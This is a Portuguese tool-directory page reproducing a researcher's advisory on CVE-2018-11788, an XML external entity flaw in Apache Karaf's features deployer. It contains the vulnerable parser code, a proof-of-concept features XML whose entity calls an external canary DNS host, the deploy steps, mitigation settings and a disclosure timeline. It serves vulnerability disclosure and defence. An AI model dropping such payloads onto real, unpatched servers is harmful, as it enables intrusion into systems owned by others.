Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-11788 — Vulnerabilidade XXE no Apache Karaf (CVE-2018-11788) | Kitploit
Ferramentas/GitHubGitHub/brianwrf/cve-2018-11788
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubbrianwrf/cve-2018-11788

CVE-2018-11788

Vulnerabilidade XXE no Apache Karaf (CVE-2018-11788)

Ver Repositório
376há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Resumo

Apache Karaf é um contêiner de aplicações moderno e polimórfico. É um contêiner leve, potente e pronto para empresas, alimentado por OSGi. Apache Karaf é um "projeto de produto", fornecendo um runtime completo e pronto para uso. O runtime é "multifacetado", o que significa que você pode implantar diferentes tipos de aplicações: OSGi ou não OSGi, aplicações web, baseadas em serviços, etc.

Em uma pesquisa recente sobre o Apache Karaf, encontrei algumas vulnerabilidades de XXE (injeção de entidade externa XML) existentes em seus analisadores XML. Isso é causado porque os analisadores analisam incorretamente documentos XML.

Versão afetada

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6

Análise

De acordo com o manual oficial, o Apache Karaf fornece um implantador de funcionalidades (features deployer) por padrão, que permite aos usuários "implantar a quente" um XML de funcionalidades colocando o arquivo diretamente na pasta deploy.

Quando você coloca um XML de funcionalidades na pasta deploy, o implantador de funcionalidades faz:

  • registra o XML de funcionalidades como um repositório de funcionalidades
  • as funcionalidades com o atributo install definido como "auto" serão instaladas automaticamente pelo implantador de funcionalidades.

Por exemplo, colocar o seguinte XML na pasta deploy instalará automaticamente feature1 e feature2, enquanto feature3 não será instalada:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">

    <feature name="feature1" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature2" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature3" version="1.0">
        ...
    </feature>

</features>

Para entender como o implantador lida com o arquivo XML, verifiquei os códigos-fonte do Karaf no Github e encontrei as seguintes invocações:

  • A classe Activator invoca a função doStart() para iniciar um listener para o implantador
  • A função doStart() invoca a função FeatureDeploymentListener.init() para inicializar um listener
  • Em seguida, chama a função bundleChanged - canHandle - getRootElementName para analisar o documento XML utilizando XMLInputFactory

Mas após uma investigação mais aprofundada na função getRootElementName abaixo, não há nenhuma prevenção contra XXE.

root@kitploit:~
private QName getRootElementName(File artifact) throws Exception {
    if (xif == null) {
        xif = XMLInputFactory.newFactory();
        xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
    }
    try (InputStream is = new FileInputStream(artifact)) {
        XMLStreamReader sr = xif.createXMLStreamReader(is);
        sr.nextTag();
        return sr.getName();
    }
}

Portanto, assumi que isso representava um risco potencial de segurança para o Apache Karaf.

Prova de Conceito

Para verificar minha suposição, testei na versão oficial mais recente do Apache Karaf 4.2.0 baixada de https://karaf.apache.org/download.html da seguinte forma:

  1. Baixe a distribuição binária de Apache Karaf 4.2.0
  2. Descompacte o pacote e vá para a pasta bin para iniciar o console de comando do Karaf conforme mostrado abaixo
root@kitploit:~
  bin$ ./karaf
          __ __                  ____      
         / //_/____ __________ _/ __/      
        / ,<  / __ `/ ___/ __ `/ /_        
       / /| |/ /_/ / /  / /_/ / __/        
      /_/ |_|\__,_/_/   \__,_/_/         

    Apache Karaf (4.2.0)

  Hit '<tab>' for a list of available commands
  and '[cmd] --help' for help on a specific command.
  Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.

  karaf@root()>
  1. Gere um token DNS em https://canarytokens.org/generate, por exemplo, 27av6zyg33g8q8xu338uvhnsc.canarytokens.com
  2. Crie um arquivo XML e adicione uma entidade externa com o token DNS gerado embutido nos DTDs da seguinte forma:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
  1. Copie o arquivo XML criado para a pasta deploy
root@kitploit:~
apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
  1. Aguarde um pouco, e então você verá as requisições DNS da sua máquina de teste, o que significa que o analisador XML está tentando carregar entidades externas embutidas em DTDs

Mitigação

Siga o guia da OWASP abaixo que fornece informações concisas para prevenir essa vulnerabilidade. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

Por exemplo, adicionando os códigos abaixo para desabilitar DTDs e entidades externas na função getRootElementName.

root@kitploit:~
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

Informações extras

Além da descoberta mencionada acima, também encontrei outra classe XmlUtils no projeto Apache Karaf que não adicionava nenhuma proteção contra vulnerabilidade XXE ao analisar documentos XML.

root@kitploit:~
package org.apache.karaf.util;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;

import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;

/**
 * Utils class to manipulate XML document in a thread safe way.
 */
public class XmlUtils {

    private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();

    public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(uri);
        } finally {
            db.reset();
        }
    }

    public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(stream);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        db.setErrorHandler(errorHandler);
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer();
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer(xsltSource);
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
        SAXParserFactory spf = SAX_PARSER_FACTORY.get();
        if (spf == null) {
            spf = SAXParserFactory.newInstance();
            spf.setNamespaceAware(true);
            SAX_PARSER_FACTORY.set(spf);
        }
        return spf.newSAXParser().getXMLReader();
    }

    public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
        if (dbf == null) {
            dbf = DocumentBuilderFactory.newInstance();
            dbf.setNamespaceAware(true);
            DOCUMENT_BUILDER_FACTORY.set(dbf);
        }
        return dbf.newDocumentBuilder();
    }

    public static Transformer transformer() throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer();
    }

    private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer(xsltSource);
    }

}

Linha do tempo

  • 2018-08-22: Relatei este problema à equipe de segurança da Apache.
  • 2018-09-26: A equipe do Apache Karaf confirmou e corrigiu o problema em KARAF-5911.
  • 2018-11-30: Apache Karaf 4.1.7 foi lançado com a correção.
  • 2018-12-18: Apache Karaf 4.2.2 foi lançado com a correção.
  • 2019-01-06: Apache Karaf anunciou o CVE-2018-11788 sobre este problema.

Referência

  • https://karaf.apache.org/security/cve-2018-11788.txt
  • https://issues.apache.org/jira/browse/KARAF-5911
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=cc3332e
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=1ffa6d1
  • http://avfisher.win/archives/1052
Baixar ferramenta